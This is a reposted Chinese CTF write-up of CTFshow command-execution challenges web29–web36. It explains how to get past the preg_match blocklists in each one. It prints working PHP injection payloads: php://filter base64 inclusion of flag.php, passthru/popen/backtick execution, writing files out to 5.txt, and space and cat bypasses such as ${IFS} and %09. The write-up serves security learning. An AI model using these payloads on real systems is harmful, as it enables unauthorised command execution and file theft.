CTFshow 命令执行 web29~web36(正则匹配绕过)

news2024/10/1 9:21:10

目录

web29

方法一:include伪协议包含文件读取

方法二:写入文件

 方法三:通识符

web30

方法一:filter伪协议文件包含读取

方法二:命令执行函数绕过

 方法三:写入文件

 

web31

方法一:filter伪协议

方法二:空格及cat绕过

web32

方法一:filter伪协议

web33

web34

web35

web36


web29~36的考点主要是一些常见的正则表达式的绕过

web29

if(!preg_match("/flag/i", $c))

分析代码,这是一个preg_match函数的绕过,i表示不区分大小写字母,即无论是大写的还是小写的‘flag’字符都会被过滤掉。

方法一:include伪协议包含文件读取

首先查看有一些什么文件:

?c=echo ''?><?php system('ls');

echo ''?>: 输出一个空字符串并结束 PHP 代码块。注意是两个单引号!!!

<?php system('ls'); 开始一个新的 PHP 代码块并执行 ls 命令,这会列出当前目录的文件。

可以看到当前目录下面有flag.php,我们可以采用include伪协议包含文件读取。

?c=echo ''?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 通过get方式读入参数url,值得注意的是,echo后面的是两个单引号‘,而include后面的是双引号“。

执行,得到一串base64编码的内容

 解码得到:

 即为flag.php文件的内容,成功拿到flag。

方法二:写入文件

?c=print_r(scandir("."));

 print_r()函数,表示格式化输出括号内的内容

scandir("."):这是一个 PHP 函数,用于扫描指定目录并返回该目录下的文件和子目录的数组。"." 表示当前目录

 构造payload:

?c=system('cat *php>>5.txt);

 *php表示后缀为php,这里表示将后缀为php的文件全部写入5.txt中,然后我们去访问/5.txt,就可以看到flag.php index.php的内容全部写入到了5.txt文件当中了。

 方法三:通识符

?c=system('tac f*');

 *是通识匹配符,会匹配所有f开头的文件名,这里会匹配到flag.php

web30

 if(!preg_match("/flag|system|php/i", $c))

过滤了flag,system,php,不区分大小写字母

方法一:filter伪协议文件包含读取

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法二:命令执行函数绕过

能实现命令执行的函数很多,system只是其中一个,但是system有输出的功能,但是其他的函数没有,可以配合使用echo等函数来使用。

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号` 同shell_exec() 

exec()函数默认只返回命令的最后一行输出,并且不会直接回显结果。它可以通过第二个参数获取所有输出,但如果不捕获输出并直接在页面上显示,就不会有回显。

print_r 是一个 PHP 函数,用于打印数组或对象的可读信息。它可以将数据结构的内容以易于理解的格式输出,适合用于调试。与 var_dump() 不同,print_r() 更加简洁,主要关注值而非类型。

例如:

$array = [1, 2, 3];
print_r($array);
//输出为:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)

 shell_exec() 会返回命令的完整输出作为字符串,因此直接将其输出到页面时,会显示所有内容。

可以构造以下payload:

?c=passthru('tac f*');

?c=echo exec('tac f*', $output); print_r($output);

?c=echo shell_exec('tac f*');

?c=$handle = popen('tac f*', 'r'); $output = fread($handle, 2096); pclose($handle); echo $output;

?c=echo `tac f*`;

 方法三:写入文件

由于system函数被过滤了,我们就用反引号来代替,将f开头的文件内容写入5.txt文件当中,访问5.txt文件即可得到flag

?c=echo `tac f*>>5.txt`;

 

web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

  • flag: 匹配字符串 flag
  • system: 匹配字符串 system(防止用户调用 system() 函数)。
  • php: 匹配字符串 php(防止执行 PHP 相关的命令)。
  • cat: 匹配字符串 cat(防止使用 cat 命令查看文件内容)。
  • sort: 匹配字符串 sort(防止使用 sort 命令)。
  • shell: 匹配字符串 shell(防止使用与 shell 相关的命令)。
  • \.: 匹配 .(防止用户使用文件路径,比如 ../)。
  • : 匹配空格(防止使用空格构造复杂命令)。
  • \': 匹配单引号 '(防止输入包含单引号的内容)

 可以看到这道题过滤了更多的字符,

方法一:filter伪协议

?c=include"$_GET[url]"?>&url=php://filter/convert.base64-encode/resource=flag.php

可能会有小伙伴会好奇,为什么明明构造的payload里面明明有php和flag,但是却还是成功绕过了preg_match函数的过滤呢,这是因为我们的正则表达式匹配的是参数c的内容,但是参数$c的内容为include"$_GET[url]";,这里 $_GET['url'] 指向的是 php://filter/read=convert.base64-encode/resource=flag.php。由于正则表达式没有检测 $_GET['url'],所以 "flag""php" 并没有在正则中被捕获,因此绕过了限制。

方法二:空格及cat绕过

过滤了空格符,可以有以下几种方式绕过

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

 cat被过滤:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

 可以构造payload

?c=echo%09`tac%09f*`;

?c=echo%09`tail%09f*`;

 这道题感觉很奇怪,很多没有被过滤掉的都没有回显。

web32

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,',`,echo,;,(

感觉都要被过滤完了。

方法一:filter伪协议

哈哈哈哈这招屡试不爽,这次依旧能行

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 但是他方法目前还没想到

web33

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ 

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,在32题的基础上,增加了对双引号的过滤"

于是,我们可以改用数组来进行参数的绕过

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,

加了一个冒号,对payload没什么影响,用33题的payload就可以做出来

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=虽然又过滤了<和=符号,但是并没有过滤掉payload里面的关键符号,因此还是可以继续用这个payload

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=,/,数字0-9,我们把参数改成字母就绕过了

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2182006.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

等保测评:企业数字安全的坚实盾牌

1.1 企业数字化转型的浪潮 在当今时代&#xff0c;企业数字化转型的浪潮正以前所未有的速度席卷全球&#xff0c;据IDC预测&#xff0c;到2023年&#xff0c;全球数字化转型支出将达到惊人的2.3万亿美元。这一趋势不仅重塑了企业的运营模式&#xff0c;更对企业的信息安全提出…

redis面试-2024

1、Redis的基本数据结构类型 string、list、set、hash、zet。还有三种特殊类型&#xff1a;Geospatial、Hyperloglog、bitMap。 2、各数据类型对应的场景 3、redis快的原因 *基于内存 内存读写效率远高于磁盘读写&#xff0c;省去磁盘IO操作 *存储形式 Redis作为K-V键值对…

从一到无穷大 #36 Lindorm 宽表:东西互联,南北互联,AI一体

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。 本作品 (李兆龙 博文, 由 李兆龙 创作)&#xff0c;由 李兆龙 确认&#xff0c;转载请注明版权。 文章目录 引言索引列存索引全文索引向量索引二级索引 AI赋能时序宽表 LTS&#xff08;Lindorm …

面向MQTT基础物联网网络的Age-of-Information感知的保留消息策略

论文标题&#xff1a; 英文&#xff1a;AoI-aware Retained Message Policy in MQTT-based IoT Networks中文&#xff1a;面向MQTT基础物联网网络的Age-of-Information感知的保留消息策略 作者信息&#xff1a; Youngjun Kim 和 Yeunwoong Kyung工作单位&#xff1a;Youngju…

Unity3D播放GIF图片使用Animation来制作动画

系列文章目录 unity工具 文章目录 系列文章目录👉前言👉一、下载GIF动图,用PS制作导出帧动画图片👉二、使用Animation制作动画👉三、脚本控制动画播放👉壁纸分享👉总结👉前言 unity播放gif图片,本身是不支持的,但是可以使用其他方法来实现, 1.有一种使用System…

短链接生成-短链接-短网址-短链接生成接口-短链接转换接口-短网址URL生成-短链接地址-短网址-短域名-短链接【快证api】

短网址接口是指用于将长网址缩短为短网址的应用程序编程接口&#xff08;API&#xff09;。以下是关于短网址接口的详细介绍&#xff1a; 一、短网址接口的功能 短网址接口的主要功能是将冗长的网址缩短为简洁的短网址&#xff0c;便于在社交媒体、邮件、短信等渠道中分享和传…

Redis: 主从复制原理

主从复制原理剖析 1 &#xff09;配置 通过下面的从节点的配置项可以开启主从之间的复制功能slaveof 192.16.10.101 6379这里的复制包含全量复制和增量复制 2 &#xff09;主节点的主从配置信息解析 查看主从之间的信息&#xff0c;在主节点上 $ info replication 打印出来的…

系统实施方案(word2024原件参考模板)

软件实施方案 二、 项目介绍 三、 项目实施 四、 项目实施计划 五、 人员培训 六、 项目验收 七、 售后服务 八、 项目保障措施 软件开发全套资料获取&#xff1a;&#xff08;本文末个人名片也可直接获取&#xff09; 软件产品&#xff0c;特别是行业解决方案软件产品不同于一…

【RockyLinux 9.4】安装新版 QQ for Linux(不再是 QQ2008 那种老款了!)

总览 还记得两年之前的时候&#xff0c;当初用的还是那种 QQ2008 一样的 LinuxQQ 啥也干不了&#xff0c;还不如 QQ2008 最近寻思自己装个服务器玩&#xff0c;想下载一个 QQ 用来文件传输&#xff0c;没想到现在的 QQ Linux 这么棒&#xff01; 一、下载 1.下载网址 https…

C语言练手项目之通讯录

1.前言 使用我上期发布的泛型list去制作一个通讯录,实在是太So Easy了!!!(上期代码有改动,可通过我主页介绍的个人git仓库查看!!!) 2.代码截图 1.contact.h 2.main.c 3.contact.c 4.运行结果 3.结语 如果我的文章帮助到你,看到这里不妨点个小赞,加个收藏呗,你的点赞和收藏是我…

2024年9月总结及随笔之丢卡

1. 回头看 日更坚持了639天。 读《软件开发安全之道&#xff1a;概率、设计与实施》更新完成读《软件设计的要素》开更并更新完成读《构建可扩展分布式系统&#xff1a;方法与实践》开更并更新完成读《数据湖仓》开更并持续更新 2023年至2024年9月底累计码字1555996字&#…

Linux-基础篇-磁盘分区,挂载

Linux 分区 原理介绍 Linux 来说无论有几个分区&#xff0c;分给哪一目录使用&#xff0c;它归根结底就只有一个根目录&#xff0c;一个独立且唯一的文件结构 , Linux 中每个分区都是用来组成整个文件系统的一部分。 Linux 采用了一种叫 “ 载入 ” 的处理方法&#xff0c;…

【Linux-基础IO】如何理解Linux下一切皆文件磁盘的介绍

目录 如何理解Linux系统上一切皆文件 1.物理角度认识磁盘 2.对磁盘的存储进行逻辑抽象 磁盘寻址 3.磁盘中的寄存器 如何理解Linux系统上一切皆文件 计算机中包含大量外设&#xff0c;操作系统想要管理好这些外设&#xff0c;就必须对这些外设进行先描述再组织&#xff0c…

Emergency Stop (ES)

文章目录 1. 介绍2. Feature List3. 紧急停止信号触发方式3.1 Port触发紧急停止信号3.2 SMU事件触发紧急停止信号3.3 软件触发紧急停止信号 4. 应用场景4.1 Port4.2 MSC 1. 介绍 Emergency Stop (ES)是Ifx System Control Units (SCU)六大模块之一。详细信息可以参考Infineon-…

【牛客刷题记录】【JAVA】二分查找

(1) 二分查找 链接 二分查找需要序列是有序的&#xff0c;否则二分查找会失效。原理就是如果找的值比mid小&#xff0c;那么[mid,R]的内容就不需要再查找了&#xff0c;反之如果大于mid位置的值&#xff0c;则在[L,mid]内的值也不需要再查找。同时将L/R的值进行修改。注意循环…

计算机毕业设计 基于深度学习的短视频内容理解与推荐系统的设计与实现 Python+Django+Vue 前后端分离 附源码 讲解 文档

&#x1f34a;作者&#xff1a;计算机编程-吉哥 &#x1f34a;简介&#xff1a;专业从事JavaWeb程序开发&#xff0c;微信小程序开发&#xff0c;定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事&#xff0c;生活就是快乐的。 &#x1f34a;心愿&#xff1a;点…

景联文科技入选《2024中国AI大模型产业图谱2.0版》数据集代表厂商

近日&#xff0c;大数据产业领域头部媒体数据猿携手上海大数据联盟联合发布了备受瞩目的《2024中国AI大模型产业图谱2.0版》。以大数据与AI为代表的智能技术为主要视角&#xff0c;聚焦全产业链&#xff0c;为业内提供更为专业直观的行业指导。 景联文科技凭借高质量数据集&…

第十一届蓝桥杯嵌入式省赛程序设计题解析(基于HAL库)(大学组)

一.题目分析 &#xff08;1&#xff09;.题目 &#xff08;2&#xff09;.题目分析 1.计时分析 只要遇到Vmin&#xff0c;就将计时时间重置为0&#xff0c;直到遇到Vmax结束计时 2.按键功能分析 a.B1显示和功能页面相互切换 b.B2每次按下Vmax加0.1&#xff0c;加到3.3V&a…

怀孕之天赋共享:其实人身体没变,完全是天赋共享

关于怀孕天赋共享&#xff0c;有人说&#xff0c;是不是怀孕导致身体变化&#xff1f; 并没有。下面这个就是案例。你总不能说&#xff0c;小孩生下来身体立即改变吧&#xff1f;

【大模型系列篇】动手部署实践国产文生图模型-腾讯混元DiT

首个中英双语DiT架构&#xff0c;混元-DiT&#xff0c;高性能细粒度中文理解-多分辨率扩散Transformer模型。 腾讯提出的混元DiT&#xff0c;是一个基于Diffusion transformer的文本到图像生成模型&#xff0c;此模型具有中英文细粒度理解能力。为了构建混元DiT&#xff0c;精心…